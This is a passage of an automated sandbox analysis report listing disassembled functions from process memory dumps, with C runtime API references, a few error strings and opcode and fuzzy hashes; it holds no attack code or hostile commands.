, xrefs: 000002B66A0CCF1F

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_char$Locale_invalid_parameter_noinfowrite_charwrite_string$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID:
API String ID: 2950348734-3916222277
Opcode ID: c088f05b1c41bc5f40f79eacfff539743c0c701c9f0e97b8461aafc53f4e8f13
Instruction ID: 323cc296920f3ffcef5c7562428bcbd2b302d1a73fabbe2854c01a907e73a870
Opcode Fuzzy Hash: c088f05b1c41bc5f40f79eacfff539743c0c701c9f0e97b8461aafc53f4e8f13
Instruction Fuzzy Hash: DF621830D58B498AF7688B5CC49D3B9B7E9FB95308F24421DD4A7C31D2D73EE8828652

Function 000002B66A0C4820 Relevance: 13.3, APIs: 10, Instructions: 790COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 000002B66A0C498D
_snprintf.LIBCMT ref: 000002B66A0C4A4E
_snprintf.LIBCMT ref: 000002B66A0C4A6B
_snprintf.LIBCMT ref: 000002B66A0C4CC0
_snprintf.LIBCMT ref: 000002B66A0C4DD0
_snprintf.LIBCMT ref: 000002B66A0C4E8E
_snprintf.LIBCMT ref: 000002B66A0C4F46
_snprintf.LIBCMT ref: 000002B66A0C4CEA

Part of subcall function 000002B66A0C9B9C: _errno.LIBCMT ref: 000002B66A0C9BD3
Part of subcall function 000002B66A0C9B9C: _invalid_parameter_noinfo.LIBCMT ref: 000002B66A0C9BDE

_snprintf.LIBCMT ref: 000002B66A0C4F5E
_snprintf.LIBCMT ref: 000002B66A0C501C

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _snprintf$_errno_invalid_parameter_noinfo
String ID:
API String ID: 3442832105-0
Opcode ID: b0045474d1749a7287ab64cdf2928e642e754940ba2aba6c48bf8ce747efe894
Instruction ID: 44842f840de2b14590e634a2e2d4f2d09114e386712b821aaac0470923d1910a
Opcode Fuzzy Hash: b0045474d1749a7287ab64cdf2928e642e754940ba2aba6c48bf8ce747efe894
Instruction Fuzzy Hash: 4952E62091CD859BF759AB2CD44A7E5F3E4FFA8309F405218D996C3162EB3EE5C28781

Function 00007FF7AD045370 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1385COMMON

Download Yara Rule

Strings

NaN, xrefs: 00007FF7AD045647
Infinity, xrefs: 00007FF7AD0456C8
, xrefs: 00007FF7AD046B14
, xrefs: 00007FF7AD046830

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID:
String ID: $ $Infinity$NaN
API String ID: 0-3274152445
Opcode ID: 7d5a14f5dedcebecef56494e64d59fb4232824489aecee340d46cd8850546201
Instruction ID: ca8ec234a0e9f1d4915a0dd0f71c1ac0f83eef35536ea8ab94c8c4435e620a67
Opcode Fuzzy Hash: 7d5a14f5dedcebecef56494e64d59fb4232824489aecee340d46cd8850546201
Instruction Fuzzy Hash: 56D2D8B2A1D6818BE711DF259008B6BF791FB85780F914135EE4A87B69FB3DE4508F10

Function 000002B66A0CA708 Relevance: 1.8, APIs: 1, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

_initp_misc_winsig.LIBCMT ref: 000002B66A0CA73C

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _initp_misc_winsig
String ID:
API String ID: 2710132595-0
Opcode ID: 8cbed0600e1a0cd3663791481dac497ddfdb5fe5119e382b5240cae51cc170ff
Instruction ID: 1e09e9657285e378c227fa7c1dcee3abc09b95c0931c19022da04240fa5f4402
Opcode Fuzzy Hash: 8cbed0600e1a0cd3663791481dac497ddfdb5fe5119e382b5240cae51cc170ff
Instruction Fuzzy Hash: 7FA1F731619A099FFF44FFB5E888AAA37A2F768301711893A900AC3174DFBCD585CB51

Function 00007FF7AD044190 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

., xrefs: 00007FF7AD0442BE

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: dc7c95912ea179b4376ebdfd1fe7d6f82869dd945337f08c514ca93ba6913bec
Instruction ID: d262d2cee109122dd20d82b272ba5c7bc8d3b9a825a3e65a6a4a7f349c6c2b8b
Opcode Fuzzy Hash: dc7c95912ea179b4376ebdfd1fe7d6f82869dd945337f08c514ca93ba6913bec
Instruction Fuzzy Hash: 65B1F8E6E1E64646E759AE21911CB7BE251FB40B84FC68130DE0F0B7D5FEACE9108720

Function 000002B66A0BFDD6 Relevance: 1.5, APIs: 1, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b964d68e6518deaae8e71beb8172e02235f27dbd0a2c1c82e9933f31d250ba5e
Instruction ID: 940018a7ca294743e9e1bdbefee027ab406bddcf94c0fd2f9e9b50429fc78e4d
Opcode Fuzzy Hash: b964d68e6518deaae8e71beb8172e02235f27dbd0a2c1c82e9933f31d250ba5e
Instruction Fuzzy Hash: 4481C1346149498FD75CDE2CC58DB3173E9FB55309F2482ADD56ACB2A6CB3AD882C640

Function 000002B66A0D80B0 Relevance: .8, Instructions: 783COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d2024319736c82b3fb213a99edabd88fd33fc2dd5ac40e50a907bb907351a9
Instruction ID: a20622aa6ca48a525afd804a282e5a0b2a7511a3d50a52b32fa5582c452e9864
Opcode Fuzzy Hash: 17d2024319736c82b3fb213a99edabd88fd33fc2dd5ac40e50a907bb907351a9
Instruction Fuzzy Hash: 5B620A312286558FD31CCB1CC5B1B7AB7E1FB8A340F44896DE28BCB692C639D945CB91

Function 000002B66A0D7740 Relevance: .8, Instructions: 761COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 337786be687ad5e8f5ffca3d815a0aab4912f658854966903adbd25a668e3634
Instruction ID: ece59c1b1ddd8d00d8b7fd54d2cbdb22d8fc4410d32f1545a37d947869ab5d3c
Opcode Fuzzy Hash: 337786be687ad5e8f5ffca3d815a0aab4912f658854966903adbd25a668e3634
Instruction Fuzzy Hash: 4952ED312286558FD31CCF1CC5A1E7AB7E1FB8D340F448A6DE28ACB692C639D545CB91

Function 00007FF7AD099320 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5c8e24b3c38e2cdd38f8af6b1f6a6fbc394cda27b362a4a28bbdb5c3412e4a7
Instruction ID: e19295f4a2df90ed8788476972b8570e7679096ea9846d468fb6eba41e5cfe02
Opcode Fuzzy Hash: e5c8e24b3c38e2cdd38f8af6b1f6a6fbc394cda27b362a4a28bbdb5c3412e4a7
Instruction Fuzzy Hash: 73E0658BD0FEC305F151D5641D2611A5BD2DF13934B4E937EAE38022E2790678115221

Function 00007FF7AD047FFA Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 973f610a1e52581bf0f4b17b39413a03c3a38581ea3d35c5a36c57133aef3daf
Instruction ID: 6fb300ab29d0c252d45b372c57bef7d5060b5cc8d08c93201faa6300e43ee61d
Opcode Fuzzy Hash: 973f610a1e52581bf0f4b17b39413a03c3a38581ea3d35c5a36c57133aef3daf
Instruction Fuzzy Hash: FBB0122385DC4140C3002F30DC113B96735DB5A205B897430E06440162C52CD018C114

Function 000002B66A0D117C Relevance: 16.6, APIs: 11, Instructions: 108COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0D11AE

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

__doserrno.LIBCMT ref: 000002B66A0D11A5

Part of subcall function 000002B66A0CBF60: _getptd_noexit.LIBCMT ref: 000002B66A0CBF64

__doserrno.LIBCMT ref: 000002B66A0D120B
_errno.LIBCMT ref: 000002B66A0D1212
_invalid_parameter_noinfo.LIBCMT ref: 000002B66A0D1276

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_getptd_noexit$_invalid_parameter_noinfo
String ID:
API String ID: 388111225-0
Opcode ID: cb682a384e9847fcd58d2a56c79d4b882a0455c15685cfbff69562d094508653
Instruction ID: 1a77e08be4737f48f944b57fe637471ac391c50ba57735b096dc829adafb36ea
Opcode Fuzzy Hash: cb682a384e9847fcd58d2a56c79d4b882a0455c15685cfbff69562d094508653
Instruction Fuzzy Hash: 0E31CA71A087084EF7157F78C88E3793798EB46328F150259E472C72E3DB7F989286A1

Function 000002B66A0D1F68 Relevance: 15.1, APIs: 10, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0D1F93

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

__doserrno.LIBCMT ref: 000002B66A0D1F8B

Part of subcall function 000002B66A0CBF60: _getptd_noexit.LIBCMT ref: 000002B66A0CBF64

__lock_fhandle.LIBCMT ref: 000002B66A0D1FD7
_lseeki64_nolock.LIBCMT ref: 000002B66A0D1FF0
_unlock_fhandle.LIBCMT ref: 000002B66A0D2013

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseeki64_nolock_unlock_fhandle
String ID:
API String ID: 2644381645-0
Opcode ID: 94c223365c994b111b2dc29acc6dc628d4905ebb8eba9f35d440403a8ac84c36
Instruction ID: 79a26e7dc2273c6012b524f73409a0b4106ea116b092746dfb6dbcb31b42274c
Opcode Fuzzy Hash: 94c223365c994b111b2dc29acc6dc628d4905ebb8eba9f35d440403a8ac84c36
Instruction Fuzzy Hash: C8210A32D086080EF3197B68D84E36977D8EB46329F15015DE436C72D3D77E5892C6A2

Function 000002B66A0D1DF0 Relevance: 15.1, APIs: 10, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0D1E1B

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

__doserrno.LIBCMT ref: 000002B66A0D1E13

Part of subcall function 000002B66A0CBF60: _getptd_noexit.LIBCMT ref: 000002B66A0CBF64

__lock_fhandle.LIBCMT ref: 000002B66A0D1E5F
_lseek_nolock.LIBCMT ref: 000002B66A0D1E78
_unlock_fhandle.LIBCMT ref: 000002B66A0D1E99

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseek_nolock_unlock_fhandle
String ID:
API String ID: 1078912150-0
Opcode ID: a09234805fd2a9c6af106032af68e44df28ba4d40962d0ef7be1a13687e388c4
Instruction ID: a712bc3ee663eeefa9a93c870b8b07ec4470bbd3b382363a3d504de0e9d6f69c
Opcode Fuzzy Hash: a09234805fd2a9c6af106032af68e44df28ba4d40962d0ef7be1a13687e388c4
Instruction Fuzzy Hash: 3421FC32D086040EF3187B68D89E37937D8DB82328F150618F476872D7CBBE58828676

Function 000002B66A0D0794 Relevance: 13.6, APIs: 9, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0D07BF

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

__doserrno.LIBCMT ref: 000002B66A0D07B7

Part of subcall function 000002B66A0CBF60: _getptd_noexit.LIBCMT ref: 000002B66A0CBF64

__lock_fhandle.LIBCMT ref: 000002B66A0D0803
_unlock_fhandle.LIBCMT ref: 000002B66A0D083D

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_unlock_fhandle
String ID:
API String ID: 2464146582-0
Opcode ID: ba9d0298e89461305872d42ae689c17141045664cbdffe6ae79e365563c6fb79
Instruction ID: bbfc46a7be1256216f6ffa265fbf1078abc92a504e2080298dd3a4fed7131eb2
Opcode Fuzzy Hash: ba9d0298e89461305872d42ae689c17141045664cbdffe6ae79e365563c6fb79
Instruction Fuzzy Hash: 0B21EA31E0C6044EF3187F68D88E3697788DB86329F15020DE47B872E7D7BE5C9186A6

Function 000002B66A0CFFB8 Relevance: 13.6, APIs: 9, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0CFFD9

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

__doserrno.LIBCMT ref: 000002B66A0CFFD1

Part of subcall function 000002B66A0CBF60: _getptd_noexit.LIBCMT ref: 000002B66A0CBF64

__lock_fhandle.LIBCMT ref: 000002B66A0D001D
_close_nolock.LIBCMT ref: 000002B66A0D0030
_unlock_fhandle.LIBCMT ref: 000002B66A0D0049

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_close_nolock_errno_unlock_fhandle
String ID:
API String ID: 2140805544-0
Opcode ID: bf5d551c04f4d35802267776e569c6e429d3d3e61a2abcb4f0089388d7e57412
Instruction ID: 01efef7228a083f83a45cfdb17d2b22ab0c77e66d228532b7bb620595d1e42d7
Opcode Fuzzy Hash: bf5d551c04f4d35802267776e569c6e429d3d3e61a2abcb4f0089388d7e57412
Instruction Fuzzy Hash: B421C632D08A085EE3147F64889D3697B98EF42329F15052CA03B872E3C7BE98818B65

Function 000002B66A0CA4CC Relevance: 12.6, APIs: 10, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 000002B66A0CA4FA

Part of subcall function 000002B66A0C979C: RtlFreeHeap.NTDLL ref: 000002B66A0C97B2
Part of subcall function 000002B66A0C979C: _errno.LIBCMT ref: 000002B66A0C97BC

free.LIBCMT ref: 000002B66A0CA50F
free.LIBCMT ref: 000002B66A0CA530
free.LIBCMT ref: 000002B66A0CA545
free.LIBCMT ref: 000002B66A0CA559
free.LIBCMT ref: 000002B66A0CA565
free.LIBCMT ref: 000002B66A0CA590
free.LIBCMT ref: 000002B66A0CA5B1
free.LIBCMT ref: 000002B66A0CA5CA
free.LIBCMT ref: 000002B66A0CA5FB

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: free$FreeHeap_errno
String ID:
API String ID: 2737118440-0
Opcode ID: b1f13390e6f73e290a8a85abc7660ad11c4dc8207aa777efcb903b5d7cfd6875
Instruction ID: eb084bd51208170e597c5e0d520f5cef773467893a621fcb71d54a2a0d67db20
Opcode Fuzzy Hash: b1f13390e6f73e290a8a85abc7660ad11c4dc8207aa777efcb903b5d7cfd6875
Instruction Fuzzy Hash: 98413030A559198FFFA4EB58D8DDBA533D6FB58319FA9812C941BC21D1CF3D88868720

Function 00007FF7AD041D20 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF7AD041E3B

Strings

Mingw-w64 runtime failure:, xrefs: 00007FF7AD041D57
VirtualProtect failed with code 0x%x, xrefs: 00007FF7AD041EAE
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7AD041ED1
Address %p has no image-section, xrefs: 00007FF7AD041D92, 00007FF7AD041EE5

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 2765e635f3e55e85a27cf16e814756a73a582f08290021675094e35a90ee78f4
Instruction ID: 31f83f94f7232708310e90bec1aafa3735ddaadab9f83acf4a325bf7137d91e6
Opcode Fuzzy Hash: 2765e635f3e55e85a27cf16e814756a73a582f08290021675094e35a90ee78f4
Instruction Fuzzy Hash: AC51B4B6E0E64681EA10AB11E844AABE761FF95B94FC64135EE4C073B4FE3CE461C350

Function 000002B66A0B360C Relevance: 11.6, APIs: 9, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 000002B66A0B36A9

Part of subcall function 000002B66A0C97DC: _FF_MSGBANNER.LIBCMT ref: 000002B66A0C980C
Part of subcall function 000002B66A0C97DC: _NMSG_WRITE.LIBCMT ref: 000002B66A0C9816
Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C984A
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9855
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9860

malloc.LIBCMT ref: 000002B66A0B36B3

Part of subcall function 000002B66A0C97DC: _callnewh.LIBCMT ref: 000002B66A0C9870
Part of subcall function 000002B66A0C97DC: _errno.LIBCMT ref: 000002B66A0C9875

malloc.LIBCMT ref: 000002B66A0B36BE
free.LIBCMT ref: 000002B66A0B387E
free.LIBCMT ref: 000002B66A0B3886
free.LIBCMT ref: 000002B66A0B388E

Part of subcall function 000002B66A0B44F0: malloc.LIBCMT ref: 000002B66A0B453A
Part of subcall function 000002B66A0B44F0: malloc.LIBCMT ref: 000002B66A0B4545
Part of subcall function 000002B66A0B44F0: free.LIBCMT ref: 000002B66A0B462C
Part of subcall function 000002B66A0B44F0: free.LIBCMT ref: 000002B66A0B4634

free.LIBCMT ref: 000002B66A0B389A
free.LIBCMT ref: 000002B66A0B38A7
free.LIBCMT ref: 000002B66A0B38B4

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: free$malloc$_errno$_callnewh
String ID:
API String ID: 4160633307-0
Opcode ID: a7d75cbd17d150eb653f4607e705647d253ccc58468d39dc5f1f1e7ed33e4189
Instruction ID: ad7cfea0d33efd002b279d978f8f6e0bdb2d7e1f07401a2715552de4ed0e9065
Opcode Fuzzy Hash: a7d75cbd17d150eb653f4607e705647d253ccc58468d39dc5f1f1e7ed33e4189
Instruction Fuzzy Hash: 2B91EA34B18B094BD769AA1C944D7B9B3D9EB88748F54031ED49BC3282DF3EDC424687

Function 000002B66A0DA090 Relevance: 10.6, APIs: 7, Instructions: 108COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000002B66A0DA0C4

Part of subcall function 000002B66A0CC7E0: _getptd.LIBCMT ref: 000002B66A0CC7F6
Part of subcall function 000002B66A0CC7E0: __updatetlocinfo.LIBCMT ref: 000002B66A0CC82B
Part of subcall function 000002B66A0CC7E0: __updatetmbcinfo.LIBCMT ref: 000002B66A0CC852

_errno.LIBCMT ref: 000002B66A0DA0DF
_invalid_parameter_noinfo.LIBCMT ref: 000002B66A0DA0EA

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 3191669884-0
Opcode ID: 385a1d44e6221908d415fcab12e09315a634a94b3a546da79e2e89b056cffdd9
Instruction ID: 8cc4a74c4ae01d767ff81aad82d236f8b1f036796ee7a8b96403890f85e09fab
Opcode Fuzzy Hash: 385a1d44e6221908d415fcab12e09315a634a94b3a546da79e2e89b056cffdd9
Instruction Fuzzy Hash: 8C31AE32A18B088FDB54AF58908C76A77D4FB58328F2503ADE429C72D2DB79DC80C781

Function 000002B66A0CA370 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0CA396

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

_invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CA3A2
__crtIsPackagedApp.LIBCMT ref: 000002B66A0CA3B3
_dosmaperr.LIBCMT ref: 000002B66A0CA3FD

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: Packaged__crt_dosmaperr_errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 2917016420-0
Opcode ID: e1cf21fb225296154490f39138421c0b816cea72f5091d5b4f407222838ca290
Instruction ID: 0e836b52ec6c81b2eaac9f022a9dac819697e82a48af90375ad4162c0d53accd
Opcode Fuzzy Hash: e1cf21fb225296154490f39138421c0b816cea72f5091d5b4f407222838ca290
Instruction Fuzzy Hash: 0331D630A14A094FFB58AF78881D3A973D5FB89319F24465DE45BC32D2DB7DC8818752

Function 000002B66A0D4AA8 Relevance: 10.6, APIs: 7, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0D4AC1

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

__lock_fhandle.LIBCMT ref: 000002B66A0D4B09
__doserrno.LIBCMT ref: 000002B66A0D4B3E
_errno.LIBCMT ref: 000002B66A0D4B45
_unlock_fhandle.LIBCMT ref: 000002B66A0D4B55

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errno$__doserrno__lock_fhandle_getptd_noexit_unlock_fhandle
String ID:
API String ID: 4120058822-0
Opcode ID: 1469c9bfab1e04d6f86bc4b468c36adadddded4816b8d2a384ffeeb2377a9677
Instruction ID: d00e39f7d04e3d3cc99d7a0802caae5c1d161a4b1cd26a6d2c30129ac5cb820b
Opcode Fuzzy Hash: 1469c9bfab1e04d6f86bc4b468c36adadddded4816b8d2a384ffeeb2377a9677
Instruction Fuzzy Hash: CF212222E08A045EF225BFA8989D3697788EB55328F05011CE43AC72D3C77F58C0C7A1

Function 000002B66A0CB070 Relevance: 9.3, APIs: 6, Instructions: 257COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002B66A0CB0AC

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

_invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CB0B7
memcpy_s.LIBCMT ref: 000002B66A0CB17C
_fileno.LIBCMT ref: 000002B66A0CB1E7
_filbuf.LIBCMT ref: 000002B66A0CB215
_errno.LIBCMT ref: 000002B66A0CB265

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errno$_filbuf_fileno_getptd_noexit_invalid_parameter_noinfomemcpy_s
String ID:
API String ID: 2328795619-0
